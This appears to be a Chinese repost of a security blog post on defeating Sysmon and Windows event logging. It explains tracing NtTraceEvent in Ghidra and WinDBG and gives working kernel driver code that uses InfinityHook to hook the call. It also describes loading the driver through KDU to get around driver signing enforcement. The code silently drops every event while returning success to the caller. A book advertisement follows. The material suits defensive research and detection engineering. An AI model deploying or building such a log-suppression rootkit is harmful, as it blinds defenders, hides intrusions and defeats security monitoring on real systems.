一言不合就上 GitHub地址
Sysmon 和 Windows事件日志 都是防御者中极为强大的工具。它们非常灵活的 配置 使他们可以深入了解设备上的活动,从而使检测攻击者的过程变得更加容易。出于这个原因,我将带领您完成击败他们的旅程;)
xpn 和 matterpreter 对此进行了一些出色的研究。他们的解决方案都不错,但是不能完全满足我的需求。Metterpreter的卸载驱动程序的方法在技术上是可以做到的,但是卸载驱动程序感觉很不ok。特别是触发了很多非常明显的事件。
为了弄清楚如何绕过它,至关重要的是首先了解它是如何工作的。
启动Ghidra并启动sysmon64.exe,我们可以看到它使用ReportEventWWindows API调用来报告事件。
现在我们知道了,可以hook 该调用并从那里阻止事件……然鹅这有什么卵用呢?我们仍然需要管理员权限来做到这一点,我认为我们可以更好地利用它们。
深入调用链并查看ReportEventWADVAPI32.dll,我们可以看到它实质上EtwEventWriteTransfer是在NTDLL.dll中定义的包装器。
通过检查,EtwEventWriteTransfer我们可以看到它调用了NtTraceEventntoskrnl.exe内部定义的内核函数。
现在我们知道,任何要报告事件的用户模式进程都将调用此函数,太棒了!这是可视化此过程的快速图表。
现在我们知道了要定位的内核功能,让我们集中精力进行测试以查看其是否真正起作用。为此,我将使用WinDBG内核调试,有关更多信息,请参见 此处 。
我将从设置一个断点开始,nt!NtTraceEvent然后在该断点被击中时,我将使用修补函数的开始ret。这将迫使函数在运行任何事件报告代码之前立即返回。
而且有效!如果您在下面看,您将看到我能够启动Powershell提示而不会触发任何sysmon事件。
因此,现在我们可以使用来开始编写PoC代码了。我们想要编写的代码将需要hook ,NtTraceEvent并为我们提供是否报告事件的选择。由于我们要定位的函数是内核函数,因此我们也需要使hook 代码在内核空间中运行。尝试执行此操作时,我们将遇到两个主要问题。
Kernel driver signing enforcement
幸运的是,为了实现,已经有两个超酷的项目, @ hFireF0x 和 InfinityHook 。我不会详细介绍它们的工作原理,因为它们各自的链接上有很多信息。但是我很高兴,因为这省了我很多时间,因为我不需要编写自己的bypass。
我将首先编写要在内核中运行的代码,所有链接都可以在 此处 找到。就在的开始DriverEntry,我们将需要找到两者的出口NtTraceEvent和IoCreateDriver。我们需要找到的原因IoCreateDriver是由于KDU。它会通过加载和利用签名的驱动程序,然后引导我们到内核空间加载我们的driver,装载我们的driver 的这种方法将意味着,无论是DriverObject和RegistryPath传递给DriverEntry将是不正确的。但是因为我们需要能够与用户模式过程进行通信(因此我们知道何时报告和阻止事件),所以我们需要创建一个有效的DriverObject。为此,我们可以调用IoCreateDriver它的DriverInitialize例程地址并将其提供给我们DriverInitialize然后将调用并传递一个有效值DriverObject,该有效值可最终用于创建IOCTL,让我们与用户模式进行交流。此代码段如下。
NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { NTSTATUS status; UNICODE_STRING drvName; UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath); DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] infinityhook: Loaded.\r\n"); OriginalNtTraceEvent = (NtTraceEvent_t)MmGetSystemRoutineAddress(&StringNtTraceEvent); OriginalIoCreateDriver = (IoCreateDriver_t)MmGetSystemRoutineAddress(&StringIoCreateDriver); if (!OriginalIoCreateDriver) { DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to locate export: %wZ.\n", StringIoCreateDriver); return STATUS_ENTRYPOINT_NOT_FOUND; } if (!OriginalNtTraceEvent) { DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to locate export: %wZ.\n", StringNtTraceEvent); return STATUS_ENTRYPOINT_NOT_FOUND; } RtlInitUnicodeString(&drvName, L"\\Driver\\ghostinthelogs"); status = OriginalIoCreateDriver(&drvName, &DriverInitialize); DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] Called OriginalIoCreateDriver status: 0x%X\n", status); NTSTATUS Status = IfhInitialize(SyscallStub); if (!NT_SUCCESS(Status)) { DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to initialize with status: 0x%lx.\n", Status); } return Status; }
找到出口并获得有效的出口后,DriverObject我们现在可以使用InfinityHook初始化NtTraceEvent钩子。该功能IfhInitialize执行此操作。我调用IfhInitialize并将其传递给我的回调的指针。每次进行系统调用时都会命中此回调。给回调函数提供了指向将要调用的函数地址的指针。可以访问该指针意味着我们可以将其更改为指向钩子函数的地址。回调代码如下所示。
void __fastcall SyscallStub( _In_ unsigned int SystemCallIndex, _Inout_ void** SystemCallFunction) { UNREFERENCED_PARAMETER(SystemCallIndex); if (*SystemCallFunction == OriginalNtTraceEvent) { *SystemCallFunction = DetourNtTraceEvent; } }
此代码会将每个调用重定向NtTraceEvent到我们的DetourNtTraceEvent。的代码DetourNtTraceEvent如下所示。
NTSTATUS DetourNtTraceEvent( _In_ PHANDLE TraceHandle, _In_ ULONG Flags, _In_ ULONG FieldSize, _In_ PVOID Fields) { if (HOOK_STATUS == 0) { return OriginalNtTraceEvent(TraceHandle, Flags, FieldSize, Fields); } return STATUS_SUCCESS; }
这段代码非常简单。它将检查HOOK_STATUS(由用户模式进程通过IOCTL设置)是否为0,如果为0,则它将执行调用NtTraceEvent,从而报告事件。如果HOOK_STATUS非零,它将返回以STATUS_SUCCESS表明该事件已成功报告,当然不是。如果有人能弄清楚如何解析该Fields参数,那么可以对所报告的事件应用过滤器,这很酷;如果您联系我,我将为您提供我所拥有的所有信息,告诉你我还有多远,我们也许可以解决;)
因为我想将所有驱动程序都保留为一个可执行文件,所以我将这个驱动程序嵌入到可执行文件中,因此当需要使用它时,它将被解压缩,然后KDU会将其加载到内核中。
我不会详细介绍其余的代码,因为它主要是KDU并从用户模式与驱动程序进行交互,但是如果您有兴趣,可以在 这里 找到。
这样有效吗?
是的:)好吧,在我测试过的所有东西上,如果您发现它无法正常工作,或者有任何一般性的错误让我知道,我会尝试修复它们。另外,我不是程序员,所以我的代码将远非完美,但可以使用任何您能想到的很棒的功能随意发出请求!
这是它运行及其各种功能的一些示例。
加载驱动程序并设置挂钩
启用挂钩(禁用所有日志记录)
获取挂钩的状态
禁用挂钩(启用所有日志记录)
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Kotlin实战
【美】Dmitry Jemerov(德米特里·詹莫瑞福)、【美】 Svetlana Isakova(斯维特拉娜·伊凡诺沃) / 覃宇、罗丽、李思阳、蒋扬海 / 电子工业出版社 / 2017-8 / 89.00
《Kotlin 实战》将从语言的基本特性开始,逐渐覆盖其更多的高级特性,尤其注重讲解如何将 Koltin 集成到已有 Java 工程实践及其背后的原理。本书分为两个部分。第一部分讲解如何开始使用 Kotlin 现有的库和API,包括基本语法、扩展函数和扩展属性、数据类和伴生对象、lambda 表达式,以及数据类型系统(着重讲解了可空性和集合的概念)。第二部分教你如何使用 Kotlin 构建自己的 ......一起来看看 《Kotlin实战》 这本书的介绍吧!